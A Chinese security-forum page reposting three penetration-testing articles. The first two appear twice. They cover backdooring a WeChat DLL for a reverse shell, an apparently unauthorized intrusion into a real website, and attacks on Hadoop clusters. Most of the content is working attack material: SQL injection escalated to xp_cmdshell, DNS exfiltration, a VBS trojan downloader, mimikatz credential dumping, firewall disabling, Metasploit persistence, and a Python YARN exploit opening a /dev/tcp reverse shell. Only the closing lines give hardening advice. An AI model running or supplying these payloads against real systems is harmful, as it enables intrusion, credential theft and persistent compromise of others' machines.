通知设置 新通知
微信dell劫持反弹shell
渗透测试 • ypk 发表了文章 • 0 个评论 • 402 次浏览 • 2020-04-28 17:00
DLL劫持指的是,病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。
如下图,LPK.dll是应用程序运行所需加载的DLL,该系统文件默认在C:\Windows\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作。
漏洞复现
一、环境搭建
kali 安装The-Backdoor-Factory
win7 安装微信(版本2.6.8),ProcessExplorer (任务管理工具,看到当前系统中所有运行的程序(在溯源、任务管理中很好用)
二、复现过程
1、win7打开ProcessExplorer,打开微信,并在ProcessExplorer点击菜单栏中的View --> Lower Pane View --> DLLs
打开过后就能看到很多dll后缀文件,这些.dll文件就是当前微信在启动过程中所需要动态链接库文件。
2、在ProcessExplorer找到安装在微信里面的动态链接库文件,选择libEGL.dll动态链接库文件,找到libEGL.dll文件所在位置,将libEGL.dll文件拷贝到kali中的The-Backdoor-Factory后门工具所在的文件夹内,并关闭微信
3、在kali中,从终端进入The-Backdoor-Factory后门工具所在的文件夹内
./backdoor.py //检查工具是否可用
上图可以看到,工具不可以,没有名字为capstone的模板
使用pip安装模板
pip intall capstone 安装capstone模板4、 ./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H kali的IP
-f 后跟要注入的文件
-s 反弹shell,后跟反弹什么类型的shell
-P 反弹给哪个端口,后跟端口
-H 反弹给哪个主机,后跟IP
在kali中找到backdoored文件,进入文件内可找到libEGL.dll文件
5、将被注入后门的动态链接库文件libEGL.dll拷贝到Win7系统中,将原来的libEGL.dll覆盖
开启postgresql数据库和Metasploit
/etc/init.d/postgresql start 开启postgresql数据库
msfconsole 开启Metasploit
6、加载exploits和payloads
use exploit/multi/handler 选择exploits
set payload windows/shell_reverse_tcp 设置payloadset lhost kali的IP 设置监听地址
set lport 6666 设置监听端口
run 或者exploit 运行攻击模块7、打开Win 7系统,打开微信,然后打开kali就可以得到Win 7的shell
工具链接
Process Explorer v16.31 https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
查看全部
DLL劫持指的是,病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。
如下图,LPK.dll是应用程序运行所需加载的DLL,该系统文件默认在C:\Windows\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作。
漏洞复现
一、环境搭建
kali 安装The-Backdoor-Factory
win7 安装微信(版本2.6.8),ProcessExplorer (任务管理工具,看到当前系统中所有运行的程序(在溯源、任务管理中很好用)
二、复现过程
1、win7打开ProcessExplorer,打开微信,并在ProcessExplorer点击菜单栏中的View --> Lower Pane View --> DLLs
打开过后就能看到很多dll后缀文件,这些.dll文件就是当前微信在启动过程中所需要动态链接库文件。
2、在ProcessExplorer找到安装在微信里面的动态链接库文件,选择libEGL.dll动态链接库文件,找到libEGL.dll文件所在位置,将libEGL.dll文件拷贝到kali中的The-Backdoor-Factory后门工具所在的文件夹内,并关闭微信
3、在kali中,从终端进入The-Backdoor-Factory后门工具所在的文件夹内
./backdoor.py //检查工具是否可用
上图可以看到,工具不可以,没有名字为capstone的模板
使用pip安装模板
pip intall capstone 安装capstone模板4、
./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H kali的IP
-f 后跟要注入的文件
-s 反弹shell,后跟反弹什么类型的shell
-P 反弹给哪个端口,后跟端口
-H 反弹给哪个主机,后跟IP
在kali中找到backdoored文件,进入文件内可找到libEGL.dll文件
5、将被注入后门的动态链接库文件libEGL.dll拷贝到Win7系统中,将原来的libEGL.dll覆盖
开启postgresql数据库和Metasploit
/etc/init.d/postgresql start 开启postgresql数据库
msfconsole 开启Metasploit
6、加载exploits和payloads
use exploit/multi/handler 选择exploits
set payload windows/shell_reverse_tcp 设置payload
set lhost kali的IP 设置监听地址7、打开Win 7系统,打开微信,然后打开kali就可以得到Win 7的shell
set lport 6666 设置监听端口
run 或者exploit 运行攻击模块
工具链接
Process Explorer v16.31 https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
记一次渗透实战(转)
渗透测试 • jizi_smile 发表了文章 • 0 个评论 • 503 次浏览 • 2020-04-26 21:44
用dirsearch扫了一波目录没有发现什么东西
直接用主站域名解析的ip访问发现主站是挂有cdn的
subDomainsBrute 扫描子域名
其中一个子域没挂CDN,由此找到网站的真实ip
得到真实ip后nmap扫描发现8099端口有个未知应用
访问发现是个WEB服务,一个登陆界面
二.漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能
遂把目光放在了nmap扫出的8099端口的web服务
常规测试admin/admin,提示密码错误
l3yx/xxxx,账号不存在
那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!
于是很熟练的构造"万能密码",admin/x' or 'x'='x--
然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息
账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常
由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
执行系统命令exec master..xp_cmdshell "whoami"
这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果
三. 命令执行结果DNS带外
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
最后的paylaodexec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";
没想到直接就是system权限
四. 写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:
iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2
用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs
注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图
在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器日志确有下载记录
说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell
五.信息收集ipconfig
查了一下ip,发现处在内网
查看域用户net group /domain
有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望
查看系统基本信息systeminfo
查看端口,没开3389netstat -ano
查看相邻主机IParp –a
抓用户hash
解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载load mimikatz
然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令mimikatz_command -f sekurlsa::logonPasswords
六.连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令直接开启REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭防火墙:netsh firewall set opmode mode=disable
尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed
真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:portfwd add -l 3389 -p 3389 -r 192.168.50.2
这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)
然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改
七.内网扫描
要对目标内网进行扫描需要先添加一下路由run autoroute -s 192.168.50.2/24
使用metasploit的portscan扫描一下内网存活的主机use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit
有点慢呢,最后扫了一半还没发现其他主机就放弃了
八.权限维持metasploi Metsvc模块
这个使用很简单run metsvc
其实是给目标开了一个服务
连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
metasploi Persistence模块run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址
清除脚本在下图位置
若要清除后门,在meterpreter运行该脚本即可
转自:(www.cnblogs.com/leixiao-/p/10865160.html) 查看全部
用dirsearch扫了一波目录没有发现什么东西
直接用主站域名解析的ip访问发现主站是挂有cdn的
subDomainsBrute 扫描子域名
其中一个子域没挂CDN,由此找到网站的真实ip
得到真实ip后nmap扫描发现8099端口有个未知应用
访问发现是个WEB服务,一个登陆界面
二.漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能
遂把目光放在了nmap扫出的8099端口的web服务
常规测试admin/admin,提示密码错误
l3yx/xxxx,账号不存在
那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!
于是很熟练的构造"万能密码",admin/x' or 'x'='x--
然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息
账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常
由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
执行系统命令
exec master..xp_cmdshell "whoami"
这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果
三. 命令执行结果DNS带外
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
最后的paylaod
exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";
没想到直接就是system权限
四. 写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:
iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2
用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下
echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs
注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图
在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器日志确有下载记录
说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell
五.信息收集
ipconfig
查了一下ip,发现处在内网
查看域用户
net group /domain
有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望
查看系统基本信息
systeminfo
查看端口,没开3389
netstat -ano
查看相邻主机IP
arp –a
抓用户hash
解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载
load mimikatz
然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令
mimikatz_command -f sekurlsa::logonPasswords
六.连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令直接开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭防火墙:
netsh firewall set opmode mode=disable
尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed
真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:
portfwd add -l 3389 -p 3389 -r 192.168.50.2
这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)
然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改
七.内网扫描
要对目标内网进行扫描需要先添加一下路由
run autoroute -s 192.168.50.2/24
使用metasploit的portscan扫描一下内网存活的主机
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit
有点慢呢,最后扫了一半还没发现其他主机就放弃了
八.权限维持metasploi Metsvc模块
这个使用很简单
run metsvc
其实是给目标开了一个服务
连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
metasploi Persistence模块
run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址
清除脚本在下图位置
若要清除后门,在meterpreter运行该脚本即可
转自:(www.cnblogs.com/leixiao-/p/10865160.html)
初探 Hadoop 集群安全(转)
渗透测试 • flaray 发表了文章 • 0 个评论 • 378 次浏览 • 2020-04-26 10:04
最近因为某些原因学习接触到了开源的大数据框架:Hadoop,该框架允许使用简单的编程模型跨计算机集群对大型数据集进行分布式处理。它旨在从单个服务器扩展到数千台机器,每台机器都提供本地计算和存储,详细概念知识背景我这就不介绍了,各位自行学习。
所以自己启发了这个大数据的框架是否有安全问题,毕竟Hadoop在大型企业是很常见的(之前参与某单位渗透测试也碰见过),可能有同学没见过,这是因为Hadoop一般在内网中部署,业务端口不对外的,估如果没进行到内网横向渗透阶段是比较难见到的。
本文技术含量可能不高,攻击手法等均非原创,写本文的出发点是自己遇到的时候百度相关漏洞,知识点过于零散且这块资料较少,所以本文进行了搜集整理,实现一些复现,让各位在内网渗透的过程中如果遇到以最少的时间成本、不需要深入了解hadoop即可实现攻击、拿到权限的目的。
Hadoop 是个生态圈,非单一软件,而是由 HDFS、YAERN、MapReduce、Zookeeper、Hbase 等组件提供支持。
环境准备及说明
hadoop 版本: 2.7.1(节点) 2.7.7(kali攻击机)
目前最新稳定版本已经为 3.2.1,在 3.x 系列下未试验过不保证均存在以下安全问题。
采取完全分布式模式部署
管理 Hadoop 的用户名:hadoop
主机名Ip功能master192.168.1.200主节点(管家角色、管理从节点)slave1192.168.1.201从节点1kali192.168.1.8kali攻击机
设置 Hadoop 攻击环境
提前设置工作环境以执行某些特定的攻击
1、下载 Hadoop 安装包
wget https://mirrors.tuna.tsinghua.edu.cn/apache/hadoop/common/hadoop-2.7.7/hadoop-2.7.7.tar.gz
2、解压
tar xvf hadoop-2.7.7.tar.gz
3、设置JAVA_HOME环境变量
export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-i386
4、(可选)将Hadoop的bin路径添加到PATH环境变量
export PATH=$PATH:/opt/hadoop-2.7.7/bin
5、测试
hadoop version
6、下载 Hadoop 攻击包(后续使用)
git clone https://github.com/wavestone-cdt/hadoop-attack-library.git
Hadoop 存在的安全问题汇总1、信息收集
获取目标环境配置
必须在客户端 (kali) 的不同文件中配置几个集群参数,才能与 Hadoop 集群进行交互。
在内网中如何确定某台机器为Hadoop两种办法:
1、通过端口探测的方式(nmap),
2、通过 http 访问某些业务端口确定hadoop
1、在 Hadoop 攻击包中存在 HadoopSnooper,该脚本允许攻击者通过Hadoop组件的 Web 界面上公开的配置文件轻松检索合适的最小客户端配置。
我这边的话就不采取脚本的方式而是手工的方式(初次手工熟悉过程).
进入在kali中hadoop的配置目录: <hadoop_installation>/etc/hadoop
2、手工访问8088或50070、8042、16010等端口查看 conf 配置,脚本就是爬取 hadoop 配置生成到本地,实现自动化。
hadoop 相关端口详情后面介绍,打开下面的链接:
http://192.168.1.200:50070/conf
我们先提取fs.defaultFS保存到本地core-site.xml文件内(conf 内存在大量 Hadoop 的配置信息,这边算是信息泄露一个点,无验证即可访问到。)
3、执行hdfs命令访问hadoop中hdfs
hdfs 为 Hadoop 分布式文件系统 (HDFS), 简单理解: 该文件系统跟本地文件系统一样均可用来存放数据、文件,不同的是它是分布式,数据存在多台机器的本地系统上,也就是说 HDFS 还是需要依赖于本地文件系统。
查看 hdfs 文件系统的根目录,存在 3 个目录。
hdfs dfs -ls /
假设前面的core-site.xml未配置成功,访问 hdfs 根目录则会出现本地根目录.
Hadoop 部分重要服务端口
以下的端口都是我们渗透的过程中会遇到的
1、Hdfs 部分服务端口
端口作用
9000fs.defaultFS,如:hdfs://172.25.40.171:9000 50070dfs.namenode.http-address 监控状态http页面端口
这个9000端口的作用是前面我们把hdfs://master:9000写入了core-site.xml文件,让我们实现了访问hdfs,假设在之前的配置文件不写的话即可通过指定的方式访问hdfs dfs -ls hdfs://master:9000/
50070则是可以通过 http 页面查看 hdfs 状态。
http://192.168.1.200:50070/
这个 Live Nodes 比较重要能查看到当前集群存活的节点信息。
比较重要的还有Utilities,即可以浏览文件系统 (HDFS),和查看日志(可能留存敏感信息)
这边即是图形界面访问,之前我们是通过命令行方式
均可实现 download,在真实内网渗透中这时候你就可以扒扒看是否有你需要的数据。
文件所有者是hadoop,权限为rwxr-xr-x意味着可读不可写。突破实现写的问题我们后面展开。
2、yarn部分服务端口
端口作用8088yarn.resourcemanager.webapp.address,YARN的http端口
http://192.168.1.200:8088/cluster/nodes
可以查看集群节点情况以及作业提交情况(后续攻击需要提交作业)
3、zookeeper 部分服务端口
端口作用2181ZooKeeper,用来监听客户端的连接
zookeeper 属于 Hadoop 生态圈之一,存在未授权访问的问题
echo envi|nc 192.168.1.200 2181
可以存在部分敏感信息
连接 ZooKeeper 服务端
./zkCli.sh -server 192.168.1.200:2181
4、HBASE 部分服务端口
端口作用16010hbase.master.info.port,HMaster的http端口
Hbase 是非关系型分布式数据库,访问是没权限校验的
如果是hbase集群内的节点执行hbase shell即可以增删改查hbase
非集群节点使用Java API即可,网上有现成写好的方法实现操纵2、浏览 HDFS 数据
浏览 HDFS 数据有两种不同的方法:
1、WebHDFS API
2、Hadoop CLIWebHDFS
关于 WebHDFS 的访问方式前面简单提及了,就是通过访问50070端口的方式,但是默认是关闭,之前的页面只能 download,无法 put 等,需要通过hdfs-site.xml文件中的以下指令在群集端配置此功能的激活:
dfs.webhdfs.enabled: true
因为默认关闭,所以一般有业务需求才会开启,这边就不演示了,相关 REST API 语法自行查找。
Hadoop攻击包 中提供了一个hdfsbrowser.py脚本实现浏览的功能,主要是适应场景是无法进行 web 浏览访问,无 Hadoop 客户端的情况。
Hadoop CLI
hadoop fs 命令等同于 hdfs dfs
hadoop fs -ls hdfs://master:9000/ 列出根路径的内容
hadoop fs -put core-site.xml hdfs://master:9000/user/hadoop/wcout/
上传文件被拒绝,由于攻击机kali当前用户为umask,不具备上传权限。
实现突破的方式
1、修改环境变量:export HADOOP_USER_NAME=hadoop
因为脚本在获取用户名的时候就是采取读环境变量的方法,这边直接篡改掉。
2、创建一个与 hdfs 具备权限的同名用户去访问(不推荐,在某些情况下(依托跳板机)可能不具备创建用户等权限,且徒增账号增加危险性)
3、如果采用JAVA API的方式进行hdfs操作可以在代码中设置:
System.setProperty("HADOOP_USER_NAME","hadoop");
或者传参的方式
java -D HADOOP_USER_NAME=root
Hadoop API文档:
https://hadoop.apache.org/docs/stable/api/index.html
3、免密登录
在分布式架构下因为需要master节点要启动 Hadoop 每个进程 (datanode, namenode 等这些进程),都需要手动输入启动进程所在的机器(集群节点)的用户密码。以及在关闭时,也是需要手动输入密码,这样过于繁琐。所以一般都会配置集群机器之间使用秘钥登录,这样就无需手动输入密码了。
这就暴露出一个问题,假设拿到了集群中master节点的用户权限 (shell),那它可以通过免密登录到集群中任何一台节点,意味着整个集群沦陷。
官方配置文档把配置免密 ssh 作为配置 hadoop 的前提条件,且几乎国内所有的配置教程也采用免密 ssh
1、我先把master与slave1之间ssh密钥登录去掉,然后启动hadoop相关业务.从图中可以看大在去掉密钥的情况下我输入了2次密码,分别是master和slave1,假设集群数量为上百上千,光输密码这个工作量就是很大的。
2、master节点上生成公钥分发到所需的节点上,启动 hadoop 服务未出现要密码,实际中则可利用这一点来登录到任意节点上
但这边就会出现 1 个问题,master是可以无密码登录任意节点,但是任意节点无法无密钥访问到其他节点乃至master
但是我网上查看了些搭建Hadoop集群的教程,发现有些教程密钥登录这一步骤给的操作最终是可以实现集群任意节点间登录的,所以这个情况需要看实际中运维人员怎么部署的。
所以拿到 shell 后可以看下authorized_keys文件内是什么情况
发现所有节点ip信息可以利用以下方式:
hosts 文件 /一般写一个模板然后分发到所有节点
内部 DNS
50070 端口上的 Live Nodes
ip 可能连续 /例如 192.168.1.200 201 2024、执行远程命令
通过访问之前的http://192.168.1.200:50070/conf页面获取到如下name的value信息并且应用到kali本地hadoop客户端。(如果部分信息如可尝试更换端口)
1、hdfs-site.xml
<configuration> <property> <name>dfs.namenode.secondary.http-address</name> <value>master:50090</value> </property></configuration>
2、core-site.xml
<configuration> <property> <name>fs.defaultFS</name> <value>hdfs://master:9000</value> </property></configuration>
3、yarn-site.xml
<configuration> <property> <name>yarn.resourcemanager.hostname</name> <value>master</value> </property></configuration>
4、mapred-site.xml
<configuration> <property> <name>mapreduce.framework.name</name> <value>yarn</value> </property> <property> <name>mapreduce.jobhistory.address</name> <value>master:10020</value> </property> <property> <name>mapreduce.jobhistory.webapp.address</name> <value>master:19888</value> </property></configuration>
执行单个命令
例如执行命令
cat /etc/passwd
hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar --input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand -mapper "/bin/cat /etc/passwd" -reducer NONE
解释:
hadoop-streaming-2.7.7.jar:
http://hadoop.apache.org/docs/r1.0.4/cn/streaming.html
-input:这将作为要执行的命令的 MapReduce 的输入提供,仅在该文件中至少放置一个字符,此文件对我们的目标无用
-output:MapReduce 将使用此目录写入结果,_SUCCESS 否则将失败
-mapper:要执行的命令,例如 "/bin/cat /etc/passwd"。输出结果将写入 -output 目录
-reducer NONE:不需要 reduce 执行单个命令,映射器就足够了
检测 output 情况:命令执行完出现如下字眼说明执行成功。
hadoop fs -cat hdfs://master:9000/user/hadoop/outcommand/part-00000
成功执行命令且写入进 output 目录
获取 meterpreter
上述执行单个命令的方式,每次只能执行一次写入一次,不够灵活存在局限性,下面采取反弹得到 meterpreter 的方式。
1、生成 payload
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 -f elf -o msf.payload
2、put payload 到 hdfs (不带目录即默认目录 /user/hadoop)
hadoop fs -put msf.payload
3、msf 监听
4、执行反弹
hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar --input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand5 -mapper "./msf.payload" -file "./msf.payload" -background
-file /本地的 meterpreter 可执行文件上传到 HDFS 上的路径
-mapper /可执行的 meterpreter 的 HDFS 路径
-background /后台运行
5、msf 成功建立连接
=0.875em
这边可以看到得到的 shell 是slave1的,这是因为MapReduce作业的分布式性质,随机落到某个集群节点,这边的payload需要使用reverse shell反弹的,因为如果采用正向连接,假设集群节点众多,你可能不知道要连接到哪个 ip.
假设落到 slave 上但是我需要 master 权限,只要 ssh 免密过去就好了。关于这个问题前面也提及了。
5、Hadoop Yarn REST API 未授权漏洞利用
YARN 是 hadoop 系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把 MapReduce 计算框架作为一个应用程序运行在 YARN 系统之上,通过 YARN 来管理资源。简单的说,用户可以向 YARN 提交特定应用程序进行执行,其中就允许执行相关包含系统命令。yarn 默认 8088 端口
1、检测漏洞存在方式:
curl -X POST 192.168.1.200:8088/ws/v1/cluster/apps/new-application
2、漏洞利用 python 代码:
import requeststarget = 'http://192.168.1.200:8088/'lhost = '192.168.1.8' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'resp = requests.post(url)print(resp.text)app_id = resp.json()['application-id']url = target + 'ws/v1/cluster/apps'data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN',}print (data)requests.post(url, json=data)
3、nc 监听 9999 端口得到 shell
4、msf 也提供了漏洞模块,这边就不演示了。
msf5 > use exploit/linux/http/hadoop_unauth_exec
这边提供一个 vulhub 的关于 Yarn REST API 未授权漏洞利用的靶场链接,各位可自行测试,就无需搭建 Hadoop 环境了。
https://vulhub.org/#/environments/hadoop/unauthorized-yarn/
6. 暂定
Hadoop 作为一个生态圈存在,存在的安全问题自然很多。
这边算是先暂定为 1.0 版本,后续陆续更新增加丰富。安全加固
攻破 Hadoop 集群并不是非常难。这主要是因为默认安全机制的不严格,以及生态环境的复杂性而导致的。不仅如此,各大发行版也存在许多传统漏洞。
1、开启 kerberos 认证,参考:
http://hadoop.apache.org/docs/r2.7.3/hadoop-auth/Configuration.html
2、敏感页面以及目录最好也不要对普通用户开放,可 nginx 方向代理、iptables 解决。
(jmx/logs/cluster/status.jsp/)
3、hadoop 集群单独部署 做好安全监控发现被攻击迹象及时高警
4、避免让服务在公网中暴露
5、不要在边缘节点布置应用
6、更新软件版本参考
